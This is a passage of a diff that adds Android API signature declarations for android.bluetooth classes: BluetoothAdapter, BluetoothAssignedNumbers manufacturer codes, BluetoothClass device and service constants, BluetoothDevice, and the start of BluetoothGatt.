+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public static final String ACTION_REQUEST_DISCOVERABLE = "android.bluetooth.adapter.action.REQUEST_DISCOVERABLE";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_REQUEST_ENABLE = "android.bluetooth.adapter.action.REQUEST_ENABLE";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public static final String ACTION_SCAN_MODE_CHANGED = "android.bluetooth.adapter.action.SCAN_MODE_CHANGED";
+    field public static final String ACTION_STATE_CHANGED = "android.bluetooth.adapter.action.STATE_CHANGED";
+    field public static final int ERROR = -2147483648; // 0x80000000
+    field public static final String EXTRA_CONNECTION_STATE = "android.bluetooth.adapter.extra.CONNECTION_STATE";
+    field public static final String EXTRA_DISCOVERABLE_DURATION = "android.bluetooth.adapter.extra.DISCOVERABLE_DURATION";
+    field public static final String EXTRA_LOCAL_NAME = "android.bluetooth.adapter.extra.LOCAL_NAME";
+    field public static final String EXTRA_PREVIOUS_CONNECTION_STATE = "android.bluetooth.adapter.extra.PREVIOUS_CONNECTION_STATE";
+    field public static final String EXTRA_PREVIOUS_SCAN_MODE = "android.bluetooth.adapter.extra.PREVIOUS_SCAN_MODE";
+    field public static final String EXTRA_PREVIOUS_STATE = "android.bluetooth.adapter.extra.PREVIOUS_STATE";
+    field public static final String EXTRA_SCAN_MODE = "android.bluetooth.adapter.extra.SCAN_MODE";
+    field public static final String EXTRA_STATE = "android.bluetooth.adapter.extra.STATE";
+    field public static final int SCAN_MODE_CONNECTABLE = 21; // 0x15
+    field public static final int SCAN_MODE_CONNECTABLE_DISCOVERABLE = 23; // 0x17
+    field public static final int SCAN_MODE_NONE = 20; // 0x14
+    field public static final int STATE_CONNECTED = 2; // 0x2
+    field public static final int STATE_CONNECTING = 1; // 0x1
+    field public static final int STATE_DISCONNECTED = 0; // 0x0
+    field public static final int STATE_DISCONNECTING = 3; // 0x3
+    field public static final int STATE_OFF = 10; // 0xa
+    field public static final int STATE_ON = 12; // 0xc
+    field public static final int STATE_TURNING_OFF = 13; // 0xd
+    field public static final int STATE_TURNING_ON = 11; // 0xb
+  }
+
+  public static interface BluetoothAdapter.LeScanCallback {
+    method public void onLeScan(android.bluetooth.BluetoothDevice, int, byte[]);
+  }
+
+  public class BluetoothAssignedNumbers {
+    field public static final int AAMP_OF_AMERICA = 190; // 0xbe
+    field public static final int ACCEL_SEMICONDUCTOR = 74; // 0x4a
+    field public static final int ACE_SENSOR = 188; // 0xbc
+    field public static final int ADIDAS = 195; // 0xc3
+    field public static final int ADVANCED_PANMOBIL_SYSTEMS = 145; // 0x91
+    field public static final int AIROHA_TECHNOLOGY = 148; // 0x94
+    field public static final int ALCATEL = 36; // 0x24
+    field public static final int ALPWISE = 154; // 0x9a
+    field public static final int AMICCOM_ELECTRONICS = 192; // 0xc0
+    field public static final int APLIX = 189; // 0xbd
+    field public static final int APPLE = 76; // 0x4c
+    field public static final int APT_LICENSING = 79; // 0x4f
+    field public static final int ARCHOS = 207; // 0xcf
+    field public static final int ARP_DEVICES = 168; // 0xa8
+    field public static final int ATHEROS_COMMUNICATIONS = 69; // 0x45
+    field public static final int ATMEL = 19; // 0x13
+    field public static final int AUSTCO_COMMUNICATION_SYSTEMS = 213; // 0xd5
+    field public static final int AUTONET_MOBILE = 127; // 0x7f
+    field public static final int AVAGO = 78; // 0x4e
+    field public static final int AVM_BERLIN = 31; // 0x1f
+    field public static final int A_AND_D_ENGINEERING = 105; // 0x69
+    field public static final int A_AND_R_CAMBRIDGE = 124; // 0x7c
+    field public static final int BANDSPEED = 32; // 0x20
+    field public static final int BAND_XI_INTERNATIONAL = 100; // 0x64
+    field public static final int BDE_TECHNOLOGY = 180; // 0xb4
+    field public static final int BEATS_ELECTRONICS = 204; // 0xcc
+    field public static final int BEAUTIFUL_ENTERPRISE = 108; // 0x6c
+    field public static final int BEKEY = 178; // 0xb2
+    field public static final int BELKIN_INTERNATIONAL = 92; // 0x5c
+    field public static final int BINAURIC = 203; // 0xcb
+    field public static final int BIOSENTRONICS = 219; // 0xdb
+    field public static final int BLUEGIGA = 71; // 0x47
+    field public static final int BLUERADIOS = 133; // 0x85
+    field public static final int BLUETOOTH_SIG = 63; // 0x3f
+    field public static final int BLUETREK_TECHNOLOGIES = 151; // 0x97
+    field public static final int BOSE = 158; // 0x9e
+    field public static final int BRIARTEK = 109; // 0x6d
+    field public static final int BROADCOM = 15; // 0xf
+    field public static final int CAEN_RFID = 170; // 0xaa
+    field public static final int CAMBRIDGE_SILICON_RADIO = 10; // 0xa
+    field public static final int CATC = 52; // 0x34
+    field public static final int CINETIX = 175; // 0xaf
+    field public static final int CLARINOX_TECHNOLOGIES = 179; // 0xb3
+    field public static final int COLORFY = 156; // 0x9c
+    field public static final int COMMIL = 51; // 0x33
+    field public static final int CONEXANT_SYSTEMS = 28; // 0x1c
+    field public static final int CONNECTBLUE = 113; // 0x71
+    field public static final int CONTINENTAL_AUTOMOTIVE = 75; // 0x4b
+    field public static final int CONWISE_TECHNOLOGY = 66; // 0x42
+    field public static final int CREATIVE_TECHNOLOGY = 118; // 0x76
+    field public static final int C_TECHNOLOGIES = 38; // 0x26
+    field public static final int DANLERS = 225; // 0xe1
+    field public static final int DELORME_PUBLISHING_COMPANY = 128; // 0x80
+    field public static final int DEXCOM = 208; // 0xd0
+    field public static final int DIALOG_SEMICONDUCTOR = 210; // 0xd2
+    field public static final int DIGIANSWER = 12; // 0xc
+    field public static final int ECLIPSE = 53; // 0x35
+    field public static final int ECOTEST = 136; // 0x88
+    field public static final int ELGATO_SYSTEMS = 206; // 0xce
+    field public static final int EM_MICROELECTRONIC_MARIN = 90; // 0x5a
+    field public static final int EQUINOX_AG = 134; // 0x86
+    field public static final int ERICSSON_TECHNOLOGY = 0; // 0x0
+    field public static final int EVLUMA = 201; // 0xc9
+    field public static final int FREE2MOVE = 83; // 0x53
+    field public static final int FUNAI_ELECTRIC = 144; // 0x90
+    field public static final int GARMIN_INTERNATIONAL = 135; // 0x87
+    field public static final int GCT_SEMICONDUCTOR = 45; // 0x2d
+    field public static final int GELO = 200; // 0xc8
+    field public static final int GENEQ = 194; // 0xc2
+    field public static final int GENERAL_MOTORS = 104; // 0x68
+    field public static final int GENNUM = 59; // 0x3b
+    field public static final int GEOFORCE = 157; // 0x9d
+    field public static final int GIBSON_GUITARS = 98; // 0x62
+    field public static final int GN_NETCOM = 103; // 0x67
+    field public static final int GN_RESOUND = 137; // 0x89
+    field public static final int GOOGLE = 224; // 0xe0
+    field public static final int GREEN_THROTTLE_GAMES = 172; // 0xac
+    field public static final int GROUP_SENSE = 115; // 0x73
+    field public static final int HANLYNN_TECHNOLOGIES = 123; // 0x7b
+    field public static final int HARMAN_INTERNATIONAL = 87; // 0x57
+    field public static final int HEWLETT_PACKARD = 101; // 0x65
+    field public static final int HITACHI = 41; // 0x29
+    field public static final int HOSIDEN = 221; // 0xdd
+    field public static final int IBM = 3; // 0x3
+    field public static final int INFINEON_TECHNOLOGIES = 9; // 0x9
+    field public static final int INGENIEUR_SYSTEMGRUPPE_ZAHN = 171; // 0xab
+    field public static final int INTEGRATED_SILICON_SOLUTION = 65; // 0x41
+    field public static final int INTEGRATED_SYSTEM_SOLUTION = 57; // 0x39
+    field public static final int INTEL = 2; // 0x2
+    field public static final int INVENTEL = 30; // 0x1e
+    field public static final int IPEXTREME = 61; // 0x3d
+    field public static final int I_TECH_DYNAMIC_GLOBAL_DISTRIBUTION = 153; // 0x99
+    field public static final int JAWBONE = 138; // 0x8a
+    field public static final int JIANGSU_TOPPOWER_AUTOMOTIVE_ELECTRONICS = 155; // 0x9b
+    field public static final int JOHNSON_CONTROLS = 185; // 0xb9
+    field public static final int J_AND_M = 82; // 0x52
+    field public static final int KAWANTECH = 212; // 0xd4
+    field public static final int KC_TECHNOLOGY = 22; // 0x16
+    field public static final int KENSINGTON_COMPUTER_PRODUCTS_GROUP = 160; // 0xa0
+    field public static final int LAIRD_TECHNOLOGIES = 119; // 0x77
+    field public static final int LESSWIRE = 121; // 0x79
+    field public static final int LG_ELECTRONICS = 196; // 0xc4
+    field public static final int LINAK = 164; // 0xa4
+    field public static final int LUCENT = 7; // 0x7
+    field public static final int LUDUS_HELSINKI = 132; // 0x84
+    field public static final int MACRONIX = 44; // 0x2c
+    field public static final int MAGNETI_MARELLI = 169; // 0xa9
+    field public static final int MANSELLA = 33; // 0x21
+    field public static final int MARVELL = 72; // 0x48
+    field public static final int MATSUSHITA_ELECTRIC = 58; // 0x3a
+    field public static final int MC10 = 202; // 0xca
+    field public static final int MEDIATEK = 70; // 0x46
+    field public static final int MESO_INTERNATIONAL = 182; // 0xb6
+    field public static final int META_WATCH = 163; // 0xa3
+    field public static final int MEWTEL_TECHNOLOGY = 47; // 0x2f
+    field public static final int MICOMMAND = 99; // 0x63
+    field public static final int MICROCHIP_TECHNOLOGY = 205; // 0xcd
+    field public static final int MICROSOFT = 6; // 0x6
+    field public static final int MINDTREE = 106; // 0x6a
+    field public static final int MISFIT_WEARABLES = 223; // 0xdf
+    field public static final int MITEL_SEMICONDUCTOR = 16; // 0x10
+    field public static final int MITSUBISHI_ELECTRIC = 20; // 0x14
+    field public static final int MOBILIAN_CORPORATION = 55; // 0x37
+    field public static final int MONSTER = 112; // 0x70
+    field public static final int MOTOROLA = 8; // 0x8
+    field public static final int MSTAR_SEMICONDUCTOR = 122; // 0x7a
+    field public static final int MUZIK = 222; // 0xde
+    field public static final int NEC = 34; // 0x22
+    field public static final int NEC_LIGHTING = 149; // 0x95
+    field public static final int NEWLOGIC = 23; // 0x17
+    field public static final int NIKE = 120; // 0x78
+    field public static final int NINE_SOLUTIONS = 102; // 0x66
+    field public static final int NOKIA_MOBILE_PHONES = 1; // 0x1
+    field public static final int NORDIC_SEMICONDUCTOR = 89; // 0x59
+    field public static final int NORWOOD_SYSTEMS = 46; // 0x2e
+    field public static final int ODM_TECHNOLOGY = 150; // 0x96
+    field public static final int OMEGAWAVE = 174; // 0xae
+    field public static final int ONSET_COMPUTER = 197; // 0xc5
+    field public static final int OPEN_INTERFACE = 39; // 0x27
+    field public static final int OTL_DYNAMICS = 165; // 0xa5
+    field public static final int PANDA_OCEAN = 166; // 0xa6
+    field public static final int PARROT = 67; // 0x43
+    field public static final int PARTHUS_TECHNOLOGIES = 14; // 0xe
+    field public static final int PASSIF_SEMICONDUCTOR = 176; // 0xb0
+    field public static final int PETER_SYSTEMTECHNIK = 173; // 0xad
+    field public static final int PHILIPS_SEMICONDUCTORS = 37; // 0x25
+    field public static final int PLANTRONICS = 85; // 0x55
+    field public static final int POLAR_ELECTRO = 107; // 0x6b
+    field public static final int POLAR_ELECTRO_EUROPE = 209; // 0xd1
+    field public static final int PROCTER_AND_GAMBLE = 220; // 0xdc
+    field public static final int QUALCOMM = 29; // 0x1d
+    field public static final int QUALCOMM_CONNECTED_EXPERIENCES = 216; // 0xd8
+    field public static final int QUALCOMM_INNOVATION_CENTER = 184; // 0xb8
+    field public static final int QUALCOMM_LABS = 140; // 0x8c
+    field public static final int QUALCOMM_TECHNOLOGIES = 215; // 0xd7
+    field public static final int QUINTIC = 142; // 0x8e
+    field public static final int QUUPPA = 199; // 0xc7
+    field public static final int RALINK_TECHNOLOGY = 91; // 0x5b
+    field public static final int RDA_MICROELECTRONICS = 97; // 0x61
+    field public static final int REALTEK_SEMICONDUCTOR = 93; // 0x5d
+    field public static final int RED_M = 50; // 0x32
+    field public static final int RENESAS_TECHNOLOGY = 54; // 0x36
+    field public static final int RESEARCH_IN_MOTION = 60; // 0x3c
+    field public static final int RF_MICRO_DEVICES = 40; // 0x28
+    field public static final int RIVIERAWAVES = 96; // 0x60
+    field public static final int ROHDE_AND_SCHWARZ = 25; // 0x19
+    field public static final int RTX_TELECOM = 21; // 0x15
+    field public static final int SAMSUNG_ELECTRONICS = 117; // 0x75
+    field public static final int SARIS_CYCLING_GROUP = 177; // 0xb1
+    field public static final int SEERS_TECHNOLOGY = 125; // 0x7d
+    field public static final int SEIKO_EPSON = 64; // 0x40
+    field public static final int SELFLY = 198; // 0xc6
+    field public static final int SEMILINK = 226; // 0xe2
+    field public static final int SENNHEISER_COMMUNICATIONS = 130; // 0x82
+    field public static final int SHANGHAI_SUPER_SMART_ELECTRONICS = 114; // 0x72
+    field public static final int SHENZHEN_EXCELSECU_DATA_TECHNOLOGY = 193; // 0xc1
+    field public static final int SIGNIA_TECHNOLOGIES = 27; // 0x1b
+    field public static final int SILICON_WAVE = 11; // 0xb
+    field public static final int SIRF_TECHNOLOGY = 80; // 0x50
+    field public static final int SOCKET_MOBILE = 68; // 0x44
+    field public static final int SONY_ERICSSON = 86; // 0x56
+    field public static final int SOUND_ID = 111; // 0x6f
+    field public static final int SPORTS_TRACKING_TECHNOLOGIES = 126; // 0x7e
+    field public static final int SR_MEDIZINELEKTRONIK = 161; // 0xa1
+    field public static final int STACCATO_COMMUNICATIONS = 77; // 0x4d
+    field public static final int STALMART_TECHNOLOGY = 191; // 0xbf
+    field public static final int STARKEY_LABORATORIES = 186; // 0xba
+    field public static final int STOLLMAN_E_PLUS_V = 143; // 0x8f
+    field public static final int STONESTREET_ONE = 94; // 0x5e
+    field public static final int ST_MICROELECTRONICS = 48; // 0x30
+    field public static final int SUMMIT_DATA_COMMUNICATIONS = 110; // 0x6e
+    field public static final int SUUNTO = 159; // 0x9f
+    field public static final int SWIRL_NETWORKS = 181; // 0xb5
+    field public static final int SYMBOL_TECHNOLOGIES = 42; // 0x2a
+    field public static final int SYNOPSYS = 49; // 0x31
+    field public static final int SYSTEMS_AND_CHIPS = 62; // 0x3e
+    field public static final int S_POWER_ELECTRONICS = 187; // 0xbb
+    field public static final int TAIXINGBANG_TECHNOLOGY = 211; // 0xd3
+    field public static final int TENOVIS = 43; // 0x2b
+    field public static final int TERAX = 56; // 0x38
+    field public static final int TEXAS_INSTRUMENTS = 13; // 0xd
+    field public static final int THINKOPTICS = 146; // 0x92
+    field public static final int THREECOM = 5; // 0x5
+    field public static final int THREE_DIJOY = 84; // 0x54
+    field public static final int THREE_DSP = 73; // 0x49
+    field public static final int TIMEKEEPING_SYSTEMS = 131; // 0x83
+    field public static final int TIMEX_GROUP_USA = 214; // 0xd6
+    field public static final int TOPCORN_POSITIONING_SYSTEMS = 139; // 0x8b
+    field public static final int TOSHIBA = 4; // 0x4
+    field public static final int TRANSILICA = 24; // 0x18
+    field public static final int TRELAB = 183; // 0xb7
+    field public static final int TTPCOM = 26; // 0x1a
+    field public static final int TXTR = 218; // 0xda
+    field public static final int TZERO_TECHNOLOGIES = 81; // 0x51
+    field public static final int UNIVERSAL_ELECTRONICS = 147; // 0x93
+    field public static final int VERTU = 162; // 0xa2
+    field public static final int VISTEON = 167; // 0xa7
+    field public static final int VIZIO = 88; // 0x58
+    field public static final int VOYETRA_TURTLE_BEACH = 217; // 0xd9
+    field public static final int WAVEPLUS_TECHNOLOGY = 35; // 0x23
+    field public static final int WICENTRIC = 95; // 0x5f
+    field public static final int WIDCOMM = 17; // 0x11
+    field public static final int WUXI_VIMICRO = 129; // 0x81
+    field public static final int ZEEVO = 18; // 0x12
+    field public static final int ZER01_TV = 152; // 0x98
+    field public static final int ZOMM = 116; // 0x74
+    field public static final int ZSCAN_SOFTWARE = 141; // 0x8d
+  }
+
+  public final class BluetoothClass implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getDeviceClass();
+    method public int getMajorDeviceClass();
+    method public boolean hasService(int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothClass> CREATOR;
+  }
+
+  public static class BluetoothClass.Device {
+    ctor public BluetoothClass.Device();
+    field public static final int AUDIO_VIDEO_CAMCORDER = 1076; // 0x434
+    field public static final int AUDIO_VIDEO_CAR_AUDIO = 1056; // 0x420
+    field public static final int AUDIO_VIDEO_HANDSFREE = 1032; // 0x408
+    field public static final int AUDIO_VIDEO_HEADPHONES = 1048; // 0x418
+    field public static final int AUDIO_VIDEO_HIFI_AUDIO = 1064; // 0x428
+    field public static final int AUDIO_VIDEO_LOUDSPEAKER = 1044; // 0x414
+    field public static final int AUDIO_VIDEO_MICROPHONE = 1040; // 0x410
+    field public static final int AUDIO_VIDEO_PORTABLE_AUDIO = 1052; // 0x41c
+    field public static final int AUDIO_VIDEO_SET_TOP_BOX = 1060; // 0x424
+    field public static final int AUDIO_VIDEO_UNCATEGORIZED = 1024; // 0x400
+    field public static final int AUDIO_VIDEO_VCR = 1068; // 0x42c
+    field public static final int AUDIO_VIDEO_VIDEO_CAMERA = 1072; // 0x430
+    field public static final int AUDIO_VIDEO_VIDEO_CONFERENCING = 1088; // 0x440
+    field public static final int AUDIO_VIDEO_VIDEO_DISPLAY_AND_LOUDSPEAKER = 1084; // 0x43c
+    field public static final int AUDIO_VIDEO_VIDEO_GAMING_TOY = 1096; // 0x448
+    field public static final int AUDIO_VIDEO_VIDEO_MONITOR = 1080; // 0x438
+    field public static final int AUDIO_VIDEO_WEARABLE_HEADSET = 1028; // 0x404
+    field public static final int COMPUTER_DESKTOP = 260; // 0x104
+    field public static final int COMPUTER_HANDHELD_PC_PDA = 272; // 0x110
+    field public static final int COMPUTER_LAPTOP = 268; // 0x10c
+    field public static final int COMPUTER_PALM_SIZE_PC_PDA = 276; // 0x114
+    field public static final int COMPUTER_SERVER = 264; // 0x108
+    field public static final int COMPUTER_UNCATEGORIZED = 256; // 0x100
+    field public static final int COMPUTER_WEARABLE = 280; // 0x118
+    field public static final int HEALTH_BLOOD_PRESSURE = 2308; // 0x904
+    field public static final int HEALTH_DATA_DISPLAY = 2332; // 0x91c
+    field public static final int HEALTH_GLUCOSE = 2320; // 0x910
+    field public static final int HEALTH_PULSE_OXIMETER = 2324; // 0x914
+    field public static final int HEALTH_PULSE_RATE = 2328; // 0x918
+    field public static final int HEALTH_THERMOMETER = 2312; // 0x908
+    field public static final int HEALTH_UNCATEGORIZED = 2304; // 0x900
+    field public static final int HEALTH_WEIGHING = 2316; // 0x90c
+    field public static final int PHONE_CELLULAR = 516; // 0x204
+    field public static final int PHONE_CORDLESS = 520; // 0x208
+    field public static final int PHONE_ISDN = 532; // 0x214
+    field public static final int PHONE_MODEM_OR_GATEWAY = 528; // 0x210
+    field public static final int PHONE_SMART = 524; // 0x20c
+    field public static final int PHONE_UNCATEGORIZED = 512; // 0x200
+    field public static final int TOY_CONTROLLER = 2064; // 0x810
+    field public static final int TOY_DOLL_ACTION_FIGURE = 2060; // 0x80c
+    field public static final int TOY_GAME = 2068; // 0x814
+    field public static final int TOY_ROBOT = 2052; // 0x804
+    field public static final int TOY_UNCATEGORIZED = 2048; // 0x800
+    field public static final int TOY_VEHICLE = 2056; // 0x808
+    field public static final int WEARABLE_GLASSES = 1812; // 0x714
+    field public static final int WEARABLE_HELMET = 1808; // 0x710
+    field public static final int WEARABLE_JACKET = 1804; // 0x70c
+    field public static final int WEARABLE_PAGER = 1800; // 0x708
+    field public static final int WEARABLE_UNCATEGORIZED = 1792; // 0x700
+    field public static final int WEARABLE_WRIST_WATCH = 1796; // 0x704
+  }
+
+  public static class BluetoothClass.Device.Major {
+    ctor public BluetoothClass.Device.Major();
+    field public static final int AUDIO_VIDEO = 1024; // 0x400
+    field public static final int COMPUTER = 256; // 0x100
+    field public static final int HEALTH = 2304; // 0x900
+    field public static final int IMAGING = 1536; // 0x600
+    field public static final int MISC = 0; // 0x0
+    field public static final int NETWORKING = 768; // 0x300
+    field public static final int PERIPHERAL = 1280; // 0x500
+    field public static final int PHONE = 512; // 0x200
+    field public static final int TOY = 2048; // 0x800
+    field public static final int UNCATEGORIZED = 7936; // 0x1f00
+    field public static final int WEARABLE = 1792; // 0x700
+  }
+
+  public static final class BluetoothClass.Service {
+    ctor public BluetoothClass.Service();
+    field public static final int AUDIO = 2097152; // 0x200000
+    field public static final int CAPTURE = 524288; // 0x80000
+    field public static final int INFORMATION = 8388608; // 0x800000
+    field public static final int LIMITED_DISCOVERABILITY = 8192; // 0x2000
+    field public static final int NETWORKING = 131072; // 0x20000
+    field public static final int OBJECT_TRANSFER = 1048576; // 0x100000
+    field public static final int POSITIONING = 65536; // 0x10000
+    field public static final int RENDER = 262144; // 0x40000
+    field public static final int TELEPHONY = 4194304; // 0x400000
+  }
+
+  public final class BluetoothDevice implements android.os.Parcelable {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothGatt connectGatt(android.content.Context, boolean, android.bluetooth.BluetoothGattCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothGatt connectGatt(android.content.Context, boolean, android.bluetooth.BluetoothGattCallback, int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothGatt connectGatt(android.content.Context, boolean, android.bluetooth.BluetoothGattCallback, int, int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothGatt connectGatt(android.content.Context, boolean, android.bluetooth.BluetoothGattCallback, int, int, android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean createBond();
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothSocket createInsecureL2capChannel(int) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothSocket createInsecureRfcommSocketToServiceRecord(java.util.UUID) throws java.io.IOException;
+    method @NonNull @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothSocket createL2capChannel(int) throws java.io.IOException;
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothSocket createRfcommSocketToServiceRecord(java.util.UUID) throws java.io.IOException;
+    method public int describeContents();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean fetchUuidsWithSdp();
+    method public String getAddress();
+    method @Nullable @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public String getAlias();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.bluetooth.BluetoothClass getBluetoothClass();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getBondState();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public String getName();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int getType();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public android.os.ParcelUuid[] getUuids();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public int setAlias(@Nullable String);
+    method @RequiresPermission(allOf={android.Manifest.permission.BLUETOOTH_CONNECT, android.Manifest.permission.BLUETOOTH_PRIVILEGED}) public boolean setPairingConfirmation(boolean);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean setPin(byte[]);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_ACL_CONNECTED = "android.bluetooth.device.action.ACL_CONNECTED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_ACL_DISCONNECTED = "android.bluetooth.device.action.ACL_DISCONNECTED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_ACL_DISCONNECT_REQUESTED = "android.bluetooth.device.action.ACL_DISCONNECT_REQUESTED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_ALIAS_CHANGED = "android.bluetooth.device.action.ALIAS_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_BOND_STATE_CHANGED = "android.bluetooth.device.action.BOND_STATE_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_CLASS_CHANGED = "android.bluetooth.device.action.CLASS_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public static final String ACTION_FOUND = "android.bluetooth.device.action.FOUND";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_NAME_CHANGED = "android.bluetooth.device.action.NAME_CHANGED";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_PAIRING_REQUEST = "android.bluetooth.device.action.PAIRING_REQUEST";
+    field @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public static final String ACTION_UUID = "android.bluetooth.device.action.UUID";
+    field public static final int ADDRESS_TYPE_PUBLIC = 0; // 0x0
+    field public static final int ADDRESS_TYPE_RANDOM = 1; // 0x1
+    field public static final int BOND_BONDED = 12; // 0xc
+    field public static final int BOND_BONDING = 11; // 0xb
+    field public static final int BOND_NONE = 10; // 0xa
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.BluetoothDevice> CREATOR;
+    field public static final int DEVICE_TYPE_CLASSIC = 1; // 0x1
+    field public static final int DEVICE_TYPE_DUAL = 3; // 0x3
+    field public static final int DEVICE_TYPE_LE = 2; // 0x2
+    field public static final int DEVICE_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int ERROR = -2147483648; // 0x80000000
+    field public static final String EXTRA_BOND_STATE = "android.bluetooth.device.extra.BOND_STATE";
+    field public static final String EXTRA_CLASS = "android.bluetooth.device.extra.CLASS";
+    field public static final String EXTRA_DEVICE = "android.bluetooth.device.extra.DEVICE";
+    field public static final String EXTRA_NAME = "android.bluetooth.device.extra.NAME";
+    field public static final String EXTRA_PAIRING_KEY = "android.bluetooth.device.extra.PAIRING_KEY";
+    field public static final String EXTRA_PAIRING_VARIANT = "android.bluetooth.device.extra.PAIRING_VARIANT";
+    field public static final String EXTRA_PREVIOUS_BOND_STATE = "android.bluetooth.device.extra.PREVIOUS_BOND_STATE";
+    field public static final String EXTRA_RSSI = "android.bluetooth.device.extra.RSSI";
+    field public static final String EXTRA_UUID = "android.bluetooth.device.extra.UUID";
+    field public static final int PAIRING_VARIANT_PASSKEY_CONFIRMATION = 2; // 0x2
+    field public static final int PAIRING_VARIANT_PIN = 0; // 0x0
+    field public static final int PHY_LE_1M = 1; // 0x1
+    field public static final int PHY_LE_1M_MASK = 1; // 0x1
+    field public static final int PHY_LE_2M = 2; // 0x2
+    field public static final int PHY_LE_2M_MASK = 2; // 0x2
+    field public static final int PHY_LE_CODED = 3; // 0x3
+    field public static final int PHY_LE_CODED_MASK = 4; // 0x4
+    field public static final int PHY_OPTION_NO_PREFERRED = 0; // 0x0
+    field public static final int PHY_OPTION_S2 = 1; // 0x1
+    field public static final int PHY_OPTION_S8 = 2; // 0x2
+    field public static final int TRANSPORT_AUTO = 0; // 0x0
+    field public static final int TRANSPORT_BREDR = 1; // 0x1
+    field public static final int TRANSPORT_LE = 2; // 0x2
+  }
+
+  public final class BluetoothGatt implements android.bluetooth.BluetoothProfile {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void abortReliableWrite();
+    method @Deprecated @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void abortReliableWrite(android.bluetooth.BluetoothDevice);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean beginReliableWrite();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void close();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean connect();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void disconnect();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean discoverServices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean executeReliableWrite();
+    method public java.util.List<android.bluetooth.BluetoothDevice> getConnectedDevices();
+    method public int getConnectionState(android.bluetooth.BluetoothDevice);
+    method public android.bluetooth.BluetoothDevice getDevice();
+    method public java.util.List<android.bluetooth.BluetoothDevice> getDevicesMatchingConnectionStates(int[]);
+    method public android.bluetooth.BluetoothGattService getService(java.util.UUID);
+    method public java.util.List<android.bluetooth.BluetoothGattService> getServices();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean readCharacteristic(android.bluetooth.BluetoothGattCharacteristic);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean readDescriptor(android.bluetooth.BluetoothGattDescriptor);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void readPhy();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean readRemoteRssi();
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean requestConnectionPriority(int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean requestMtu(int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean setCharacteristicNotification(android.bluetooth.BluetoothGattCharacteristic, boolean);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public void setPreferredPhy(int, int, int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean writeCharacteristic(android.bluetooth.BluetoothGattCharacteristic);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_CONNECT) public boolean writeDescriptor(android.bluetooth.BluetoothGattDescriptor);
+    field public static final int CONNECTION_PRIORITY_BALANCED = 0; // 0x0
